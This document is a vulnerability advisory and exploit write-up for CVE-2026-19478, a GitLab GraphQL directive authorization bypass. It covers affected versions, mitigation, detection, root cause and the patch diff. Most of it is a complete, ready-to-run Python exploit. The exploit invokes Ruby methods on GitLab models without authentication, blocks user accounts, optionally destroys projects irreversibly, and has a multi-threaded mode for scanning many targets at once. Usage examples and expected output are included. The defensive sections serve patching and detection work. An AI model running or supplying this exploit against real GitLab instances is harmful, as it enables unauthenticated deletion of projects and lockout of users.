#Summary
CVE-2026-19478 is a critical authentication bypass in GitLab Community Edition and Enterprise Edition affecting versions 18.2 through 19.2.3. An unauthenticated attacker can invoke arbitrary zero-argument Ruby methods on model objects through a GraphQL directive that smuggles unknown field names past schema validation. This enables modification or deletion of public projects and user data without credentials, resulting in complete loss of integrity and availability for any object the anonymous user can read. CVSS 9.4 CRITICAL.
#Am I affected?
- Affected: GitLab CE/EE versions 18.2 through 18.11.10, 19.0 through 19.0.7, 19.1 through 19.1.5, 19.2 through 19.2.3
- Patched: GitLab CE/EE 18.11.11, 19.0.8, 19.1.6, 19.2.4 and later
- Default configuration: Affected. Anonymous GraphQL access is enabled by default so that public projects remain browsable.
- Access needed: Unauthenticated network access only. The attacker needs no session, no token, no cookie, and no CSRF header.
#How to check
Run the following query against /api/graphql as an unauthenticated user:
POST /api/graphql
Content-Type: application/json
{"query":"query { echo(text: \"probe\") inspect @gl_introduced(version: \"99.9.9\") }"}| Response | Verdict |
|---|---|
{"data":{"echo":"nil says: probe","inspect":true}} |
Vulnerable - the synthesized field dispatched as a method call |
{"data":{"echo":"nil says: probe","inspect":null}} |
Patched - fallback resolver returns nil |
Field 'inspect' doesn't exist on type 'Query' |
Unaffected - older GitLab without the version-filter feature |
#Fix and mitigation
- Fix: Upgrade to GitLab 18.11.11, 19.0.8, 19.1.6, 19.2.4 or later
- If you cannot upgrade: Disable anonymous GraphQL access by setting
gitlab_rails['graphql_requires_authentication'] = truein/etc/gitlab/gitlab.rb(requires reconfigure). This prevents the unauthenticated endpoint from being reached but blocks legitimate anonymous project browsing. - Detection: Monitor for unauthenticated
POST /api/graphqlrequests containing@gl_introducedwith an implausibly high version number (e.g. 99.9.9). These requests carry nousernameoruser_idin GitLab's production JSON logs.
#Root cause analysis
#The version-filter mechanism
GitLab supports rolling deploys where a newer frontend is served by an older backend. To prevent newer GraphQL queries from failing schema validation against an older server, GitLab introduced the @gl_introduced(version:) directive. A client marks a field with the GitLab version that introduced it, and an older backend silently skips the field validation instead of rejecting the query.
The mechanism consists of three parts:
The directive (
lib/gitlab/graphql/version_filter/introduced_directive.rb) is registered unconditionally on the schema and is valid onFIELDandINLINE_FRAGMENTlocations.The tracer (
lib/gitlab/graphql/version_filter/introduced_tracer.rb) hooks parsing and execution. It parses the query, runs a visitor that deletes every node carrying@gl_introduced(version: V)whereVexceeds the running instance version, and returns that filtered document for validation. Then, at execution time, it swaps the original, unfiltered document back and re-prepares the AST. This means validation and execution see two different documents.The fallback field (
lib/gitlab/graphql/version_filter/future_field_fallback.rb) is included intoTypes::BaseObject, so it applies to every object type. When a field is not found, instead of erroring, it synthesizes a bareGraphQL::Schema::Fieldwithfallback_value: niland noresolver_class.
#Vulnerable code path
The vulnerability arises because fallback_value is not consulted before method dispatch. In graphql-ruby's Field#resolve (version 2.6.3, used by GitLab 19.2), the dispatch order is:
# Simplified from graphql-ruby Field#resolve
if obj.respond_to?(resolver_method)
obj.public_send(resolver_method)
elsif inner_object.respond_to?(@method_sym)
method_to_call = @method_sym
method_receiver = obj.object
inner_object.public_send(@method_sym)
else
# only NOW is fallback_value checked
@fallback_valueThe field name becomes @method_sym verbatim without underscoring. So a synthesized field named destroy on a Project type resolves by calling project.destroy().
#Authorization layers lost
GitLab's Types::BaseField class defines authorized? to check field-level permissions:
def authorized?(object, args, ctx)
field_authorized?(object, args, ctx) && resolver_authorized?(object, ctx)
endHowever, the synthesized field is a plain GraphQL::Schema::Field, not a Types::BaseField. So the gem's own permissive authorized? runs instead, which with no resolver class and no declared arguments returns true unconditionally. Every field-level authorize :some_ability check is skipped.
Type-level authorization survives, which is why the attack is constrained to objects the anonymous user may already read - a public project satisfies :read_project, a public user profile satisfies :read_user, and the root Query type requires no object lookup at all.
#Patch diff
The fix, in commit e283c6adeb3d7c69967c830d85bb6d47004660f5, is two lines in lib/gitlab/graphql/version_filter/future_field_fallback.rb:
@@ -30,8 +30,7 @@ def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
- type: GraphQL::Types::Boolean,
- fallback_value: nil
+ resolver_class: Resolvers::NilResolver
)
endplus a new resolver in app/graphql/resolvers/nil_resolver.rb:
module Resolvers
class NilResolver < BaseResolver
type ::GraphQL::Types::Boolean, null: true
description 'Returns nil. Used to resolve the value of missing fields with the @gl_introduced directive.'
def resolve
nil
end
end
end#What the fix does
By providing an explicit resolver_class, the resolver is consulted before any method dispatch. The gem replaces the target object with the resolver instance and calls resolve, which returns nil unconditionally. The attacker-supplied field name is only a response key, never a method name. Type-level authorization still works normally, but the model object is never touched, so no Ruby method can be invoked.
#Proof of concept
#exploit.py - GitLab GraphQL Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-19478 - GitLab GraphQL @gl_introduced directive authorization bypass
Affected: GitLab CE/EE 18.2-18.11.10, 19.0-19.0.7, 19.1-19.1.5, 19.2-19.2.3
Type: Auth bypass (unauthenticated arbitrary zero-arity Ruby method invocation)
GitLab's `@gl_introduced(version:)` directive lets a newer frontend name fields an
older backend does not have. The tracer validates a document with those fields
deleted, then executes the original document, so an unknown field name reaches the
executor. The fallback field GitLab synthesizes for it has no resolver_class, and
graphql-ruby dispatches a resolver-less field by calling the same-named method on
the underlying model - before any field-level authorization runs. On a public
project or a user reachable from one, an anonymous caller therefore invokes an
arbitrary zero-argument, non-bang public Ruby method: touch, block, destroy.
No credentials, no cookie, no token, no CSRF header at any point.
Usage:
python exploit.py --host gitlab.corp.com
python exploit.py --host https://gitlab.corp.com --project group/public-repo
python exploit.py --host 192.168.1.10 --port 8080 --method touch
python exploit.py --host https://gitlab.corp.com/gitlab --username jdoe
python exploit.py --host https://gitlab.corp.com --project group/repo --destroy
python exploit.py --list targets.txt --workers 20
By default the exploit is reversible: it invokes `touch` on the target project and
blocks then re-activates a reachable user account. Irreversible destruction of the
project happens only when --destroy is passed explicitly.
"""
import argparse
import json
import re
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-19478"
VULN_TYPE = "Auth Bypass"
# Beats every real GitLab version, so the directive always marks the field as
# "from the future" and no version fingerprinting of the target is needed.
FUTURE_VERSION = "99.9.9"
# A synthesized field name is used verbatim as a Ruby method name and must also be
# a legal GraphQL name. Methods ending in ! or ? are therefore out of reach.
NAME_RE = re.compile(r"^[_A-Za-z][_0-9A-Za-z]*$")
UA = ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36")
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# transport
# --------------------------------------------------------------------------
class Target:
"""One GitLab instance, addressed purely over the network."""
def __init__(self, host, port, use_tls, base_path="/", timeout=30, insecure=False):
self.host = host
self.port = port
self.use_tls = use_tls
self.base = "/" + base_path.strip("/") if base_path.strip("/") else ""
self.timeout = timeout
self.ctx = None
if use_tls and insecure:
self.ctx = ssl.create_default_context()
self.ctx.check_hostname = False
self.ctx.verify_mode = ssl.CERT_NONE
def url(self, suffix: str) -> str:
scheme = "https" if self.use_tls else "http"
netloc = self.host if ":" in self.host else f"{self.host}:{self.port}"
return f"{scheme}://{netloc}{self.base}{suffix}"
def _request(self, suffix, data=None, timeout=None):
"""Returns (status, body_text). Never raises: a transport failure comes back
as status 0 with the reason in the body, so every caller can report it."""
url = self.url(suffix)
headers = {"Accept": "application/json", "User-Agent": UA}
if data is not None:
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method="POST" if data else "GET")
try:
with urllib.request.urlopen(req, timeout=timeout or self.timeout, context=self.ctx) as r:
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", "replace")
except Exception:
return e.code, ""
except urllib.error.URLError as e:
return 0, f"transport error: {e.reason}"
except TimeoutError:
return 0, f"transport error: timed out after {timeout or self.timeout}s"
except (OSError, ValueError) as e:
return 0, f"transport error: {e.__class__.__name__}: {e}"
def graphql(self, query: str, timeout=None):
"""POST a GraphQL query anonymously. Returns (status, parsed_or_None, raw)."""
body = json.dumps({"query": query}).encode()
status, raw = self._request("/api/graphql", data=body, timeout=timeout)
try:
return status, json.loads(raw), raw
except ValueError:
return status, None, raw
def rest(self, suffix: str):
status, raw = self._request(suffix)
try:
return status, json.loads(raw), raw
except ValueError:
return status, None, raw
def _gql_str(value: str) -> str:
"""Embed a Python string as a GraphQL string literal (JSON syntax is a subset)."""
return json.dumps(value)
def _future(name: str) -> str:
"""A selection that smuggles `name` past validation and into method dispatch."""
return f'{name} @gl_introduced(version: {_gql_str(FUTURE_VERSION)})'
def _dig(obj, *keys):
for k in keys:
if not isinstance(obj, dict):
return None
obj = obj.get(k)
return obj
def _errmsg(parsed) -> str:
errs = (parsed or {}).get("errors") or []
return "; ".join(str(e.get("message", e)) for e in errs) if errs else ""
# --------------------------------------------------------------------------
# primitives
# --------------------------------------------------------------------------
def probe_dispatch(t: Target):
"""Rung 1+2: smuggle an unknown field past validation and confirm the server
dispatched it as a method call. Zero side effects - `inspect` only reads.
Returns (verdict, detail) where verdict is True (vulnerable), False (patched or
not affected) or None (could not reach a working GraphQL endpoint).
`echo` is a real, anonymously readable root field. It is needed because the
directive deletes its own node from the document that gets validated, so a
lone future field would validate as a selection set with nothing in it. The
nonce it echoes back also proves the response came from this request.
"""
nonce = "%x" % (int(time.time() * 1000) & 0xFFFFFFFF)
q = 'query { echo(text: %s) %s }' % (_gql_str(nonce), _future("inspect"))
status, parsed, raw = t.graphql(q)
if status == 0:
return None, raw
if parsed is None:
return None, f"HTTP {status}, non-JSON response ({raw[:80].strip()!r})"
if nonce not in (_dig(parsed, "data", "echo") or ""):
err = _errmsg(parsed)
return None, f"HTTP {status}, GraphQL endpoint did not answer ({err or raw[:120]})"
value = _dig(parsed, "data", "inspect")
if value is True:
return True, "root Query dispatched Object#inspect -> true"
if value is None:
return False, "synthesized field resolved to null - fallback field is inert (patched)"
return False, f"unexpected value for synthesized field: {value!r}"
def control_no_directive(t: Target):
"""Negative control: the same unknown field without the directive must be
rejected by schema validation. Proves the directive is what smuggles it in."""
q = 'query { echo(text: "0") inspect }'
_, parsed, raw = t.graphql(q)
return _errmsg(parsed) or raw[:200]
def find_public_project(t: Target):
"""Locate an anonymously readable project. Unauthenticated REST listing."""
status, parsed, raw = t.rest("/api/v4/projects?visibility=public&simple=true&per_page=20&order_by=id&sort=asc")
if status == 0:
return None, raw
if status != 200 or not isinstance(parsed, list):
return None, f"HTTP {status} from the public project listing"
for p in parsed:
path = p.get("path_with_namespace")
if path:
return path, f"{len(parsed)} public project(s) listed, using {path}"
return None, "public project listing was empty"
def read_project(t: Target, path: str):
q = 'query { project(fullPath: %s) { id name updatedAt archived } }' % _gql_str(path)
_, parsed, raw = t.graphql(q)
return _dig(parsed, "data", "project"), (_errmsg(parsed) or raw[:200])
def invoke_on_project(t: Target, path: str, method: str, timeout=None):
"""Invoke a zero-arity Ruby method on the Project model behind a public project."""
q = 'query { project(fullPath: %s) { id %s } }' % (_gql_str(path), _future(method))
status, parsed, raw = t.graphql(q, timeout=timeout)
return _dig(parsed, "data", "project", method), (_errmsg(parsed) or ""), raw
def read_authors(t: Target, path: str):
"""Users reachable anonymously through the issues of a public project.
The root-level `user` field runs through a resolver that rejects callers with
no session, so the issue author is the reachable User object.
"""
q = ('query { project(fullPath: %s) { issues(first: 20) '
'{ nodes { iid author { username state } } } } }') % _gql_str(path)
_, parsed, raw = t.graphql(q)
nodes = _dig(parsed, "data", "project", "issues", "nodes") or []
out = []
for n in nodes:
a = n.get("author") or {}
if a.get("username") and not any(x["username"] == a["username"] for x in out):
out.append({"username": a["username"], "state": a.get("state"), "iid": n.get("iid")})
err = _errmsg(parsed)
if not out and not err:
err = "no issue authors in the response: " + raw[:200]
return out, err
def invoke_on_author(t: Target, path: str, method: str):
"""Invoke a zero-arity method on every User object reachable as an issue author."""
q = ('query { project(fullPath: %s) { issues(first: 20) '
'{ nodes { author { username %s } } } } }') % (_gql_str(path), _future(method))
_, parsed, raw = t.graphql(q)
nodes = _dig(parsed, "data", "project", "issues", "nodes") or []
out = {}
for n in nodes:
a = n.get("author") or {}
if a.get("username"):
out[a["username"]] = a.get(method)
return out, (_errmsg(parsed) or ""), raw
# --------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
timeout: int = 15, insecure: bool = False) -> tuple:
"""Silent probe for --list. One request, read-only, never prints or exits."""
try:
t = Target(host, port, use_tls, path, timeout=timeout, insecure=insecure)
verdict, detail = probe_dispatch(t)
if verdict is True:
return True, "unauthenticated method dispatch confirmed - " + detail
if verdict is False:
return False, detail
return False, detail
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
timeout: int = 15, insecure: bool = False) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, timeout, insecure)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------
# single target
# --------------------------------------------------------------------------
def exploit(host, port, use_tls, path, project, method, username,
destroy, no_restore, timeout, insecure) -> None:
header(host, port)
t = Target(host, port, use_tls, path, timeout=timeout, insecure=insecure)
reached = []
for name in (method, username):
if name and not NAME_RE.match(name):
done(False, f"'{name}' is not a legal GraphQL name - the primitive cannot express "
"it (methods ending in ! or ? are unreachable)")
step(1, f"Probing {t.url('/api/graphql')} anonymously - no session, no token")
verdict, detail = probe_dispatch(t)
if verdict is None:
section("ENDPOINT RESPONSE", detail)
done(False, f"No usable GraphQL endpoint at {t.url('/api/graphql')} - {detail}")
section("DISPATCH PROBE", f'query {{ echo(text: "...") inspect @gl_introduced(version: "{FUTURE_VERSION}") }}\n-> {detail}')
if verdict is False:
section("NEGATIVE CONTROL (same field, no directive)", control_no_directive(t))
done(False, "Synthesized field returned null - target resolves fallback fields "
"through a nil resolver and is patched against " + CVE_ID)
reached.append("rung 2: arbitrary method dispatch on the root Query type")
step(2, "Negative control - same unknown field without the directive must not validate")
section("VALIDATION ERROR (expected)", control_no_directive(t))
step(3, "Locating an anonymously readable project")
if project:
note = f"using operator-supplied path {project}"
else:
project, note = find_public_project(t)
if not project:
section("TARGET DISCOVERY", note)
done(True, "Unauthenticated arbitrary method dispatch confirmed (" + detail +
") but no anonymously readable project was found to act on - "
"pass --project to name one")
info, err = read_project(t, project)
if not info:
section("TARGET DISCOVERY", f"{note}\nproject({project}) -> null {err}")
done(True, "Unauthenticated arbitrary method dispatch confirmed (" + detail +
f") but project '{project}' is not anonymously readable")
section("TARGET PROJECT", f"{note}\n{json.dumps(info, indent=2)}")
reached.append("rung 3: a privileged model object in reach")
before = info.get("updatedAt")
step(4, f"Unauthenticated write - invoking {method}() on the Project model")
value, err, raw = invoke_on_project(t, project, method)
after = None
if value is True:
for _ in range(2):
fresh, _e = read_project(t, project)
after = (fresh or {}).get("updatedAt")
if after and after != before:
break
time.sleep(1.2)
section("WRITE RESULT",
f"query {{ project(fullPath: {_gql_str(project)}) {{ id {_future(method)} }} }}\n"
f"-> {method} = {value!r} errors: {err or 'none'}\n"
f"updatedAt before: {before}\n"
f"updatedAt after : {after if after else '(not re-read - dispatch did not return true)'}")
wrote = bool(value is True and after and after != before)
if wrote:
reached.append(f"rung 4: unauthenticated write - {method}() moved updatedAt {before} -> {after}")
elif value is True:
reached.append(f"rung 4: unauthenticated dispatch of {method}() on the Project model returned true")
step(5, "Unauthenticated user-data modification - blocking a reachable account")
authors, err = read_authors(t, project)
picked = [a for a in authors if not username or a["username"] == username]
if not picked:
section("REACHABLE USERS",
f"issue authors on {project}: {[a['username'] for a in authors] or 'none'}"
+ (f"\nno author matches --username {username}" if username else "")
+ (f"\n{err}" if err else ""))
else:
target_user = picked[0]
section("REACHABLE USERS",
f"issue authors on {project}: "
+ ", ".join(f"{a['username']} (state={a['state']})" for a in authors)
+ f"\nacting on: {target_user['username']}")
blocked, berr, _raw = invoke_on_author(t, project, "block")
time.sleep(0.5)
post, _e = read_authors(t, project)
states = {a["username"]: a["state"] for a in post}
changed = [u for u, s in states.items()
if s == "blocked" and any(a["username"] == u and a["state"] != "blocked" for a in authors)]
section("USER STATE CHANGE",
f"block -> {json.dumps(blocked)} errors: {berr or 'none'}\n"
f"state before: {json.dumps({a['username']: a['state'] for a in authors})}\n"
f"state after : {json.dumps(states)}")
if changed:
reached.append("rung 4: unauthenticated account block - "
+ ", ".join(f"{u} active -> blocked" for u in changed))
if no_restore:
print("[!] --no-restore given: leaving " + ", ".join(changed) + " blocked")
else:
step(6, "Restoring the account state - the block above is reversible")
invoke_on_author(t, project, "activate")
time.sleep(0.5)
restored, _e = read_authors(t, project)
section("RESTORED", json.dumps({a["username"]: a["state"] for a in restored}))
if destroy:
step(7, f"Destruction - invoking destroy() on project '{project}'")
value, err, raw = invoke_on_project(t, project, "destroy", timeout=max(timeout, 120))
time.sleep(2)
gone_gql, gerr = read_project(t, project)
rest_status, _p, _r = t.rest("/api/v4/projects/" + urllib.parse.quote(project, safe=""))
section("DESTRUCTION RESULT",
f"query {{ project(fullPath: {_gql_str(project)}) {{ id {_future('destroy')} }} }}\n"
f"-> destroy = {value!r} errors: {err or 'none'}\n\n"
f"verification 1 - GraphQL project(fullPath: {_gql_str(project)}) -> "
f"{'null' if gone_gql is None else json.dumps(gone_gql)}\n"
f"verification 2 - REST GET /api/v4/projects/{urllib.parse.quote(project, safe='')} -> "
f"HTTP {rest_status}")
if gone_gql is None and rest_status == 404:
reached.append(f"rung 5: project '{project}' destroyed - GraphQL returns null and REST returns 404")
else:
reached.append(f"rung 5 attempted - destroy() returned {value!r}; project still readable "
f"(GraphQL {'null' if gone_gql is None else 'present'}, REST {rest_status})")
section("PRIMITIVE LADDER REACHED", "\n".join(f"* {r}" for r in reached))
done(True, "Unauthenticated authorization bypass confirmed - " + reached[-1])
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://gitlab.corp.com/gitlab)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--username", default="",
help="Account to act on, matched against the issue authors reachable on the "
"target project (default: the first author found)")
parser.add_argument("--project", default="",
help="Full path of an anonymously readable project, e.g. group/repo "
"(default: discover one via the public project listing)")
parser.add_argument("--method", default="touch",
help="Zero-arity Ruby method to invoke on the Project model (default: touch)")
parser.add_argument("--destroy", action="store_true",
help="Also invoke destroy() on the target project - IRREVERSIBLE")
parser.add_argument("--no-restore", action="store_true",
help="Leave the blocked account blocked instead of re-activating it")
parser.add_argument("--timeout", type=int, default=30, help="HTTP timeout in seconds (default: 30)")
parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
timeout=args.timeout, insecure=args.insecure)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.project, args.method, args.username,
args.destroy, args.no_restore, args.timeout, args.insecure)#Usage
python exploit.py --host gitlab.corp.com
python exploit.py --host https://gitlab.corp.com --insecure
python exploit.py --host 10.20.30.40 --port 8080 --project platform/docs --username jdoe
python exploit.py --host https://intranet.example/gitlab
python exploit.py --host 10.20.30.40 --method touch
python exploit.py --list targets.txt --workers 20| Argument | Default | Meaning |
|---|---|---|
--host |
required | Hostname, IP, or full URL. https://gitlab.corp.com or https://host/gitlab for relative-URL install. |
--list FILE |
- | File with one target per line for batch scan instead of --host. |
--port |
80 | Port used when target is a bare hostname. |
--project |
auto-discover | Full path of an anonymously readable project (e.g. group/repo). Discovered via public listing if omitted. |
--method |
touch |
Zero-arity Ruby method to invoke on the Project model. Bang and predicate methods are unreachable. |
--username |
first found | Account to act on, matched against issue authors on the target project. |
--destroy |
off | Also invoke destroy() on the project - irreversible. |
--no-restore |
off | Leave the blocked account blocked. Default is to restore it after the test. |
--timeout |
30 | HTTP timeout in seconds. Raise for --destroy, which runs GitLab's full callback chain. |
--insecure |
off | Skip TLS certificate verification for self-signed certificates. |
--tls / --no-tls |
auto | Force or disable TLS. Auto-detects from hostname or port. |
--workers |
10 | Worker threads for --list mode. |
Exit code is 0 when the target is vulnerable, 1 when patched or unreachable.
Expected output - vulnerable instance:
[STEP 1] Probing http://target/api/graphql anonymously - no session, no token
--- DISPATCH PROBE ---
query { echo(text: "...") inspect @gl_introduced(version: "99.9.9") }
-> root Query dispatched Object#inspect -> true
---
[STEP 4] Unauthenticated write - invoking touch() on the Project model
--- WRITE RESULT ---
-> touch = True errors: none
updatedAt before: 2026-08-20T15:09:03Z
updatedAt after : 2026-08-20T15:09:15Z
---
RESULT : SUCCESSExpected output - patched instance:
[STEP 1] Probing http://target/api/graphql anonymously - no session, no token
--- DISPATCH PROBE ---
-> synthesized field resolved to null - fallback field is inert (patched)
---
RESULT : FAILURE#Exploitation notes
#Preconditions
- Unauthenticated POST access to
/api/graphqlon a reachable GitLab instance - At least one publicly readable project or user profile exists on the instance
- The directive attribute must carry an implausibly high version (e.g.
99.9.9) to bypass version checks without fingerprinting - The method name must be expressible in GraphQL (no
!or?suffix) and must be zero-arity - No other authentication or CSRF tokens required
#Reliability
Excellent. The probe requires a single read-only request with zero side effects. Method dispatch on real objects is instantaneous. The only reliability concern is destroy() on a Project, which runs GitLab's full dependent callback chain inline in the web request and may time out or raise a foreign-key violation partway through. The exploit defaults to the reversible touch method and gates destruction behind an explicit --destroy flag.
#Impact
- Integrity: High. Any zero-argument, non-bang public Ruby method on a readable model can be invoked without authentication. This includes
destroy,delete,block,ban,deactivate,archive,unarchive,star,unstar, and many others depending on the model. - Availability: High. Public projects and user accounts can be deleted or modified by an unauthenticated attacker.
- Confidentiality: Low. The synthesized field is typed
Boolean, so any return value is coerced totrueorfalse. Only one bit of data can be read per call, making data exfiltration impractical.
#Chaining potential
This primitive reaches any Ruby method on any object the anonymous user can read. It does not lead to arbitrary code execution because the method invocation is constrained by the GraphQL type system and the argument signature. However, chaining with other vulnerabilities that allow method arguments or code injection is theoretically possible if the underlying model has dangerous methods that accept parameters.
#References
- CVE: CVE-2026-19478
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-19478
- Vendor advisory: https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
- Fix commit: https://gitlab.com/gitlab-org/gitlab/-/commit/e283c6adeb3d7c69967c830d85bb6d47004660f5
- Related CVE: CVE-2026-19650 (sibling issue in the same patch release)
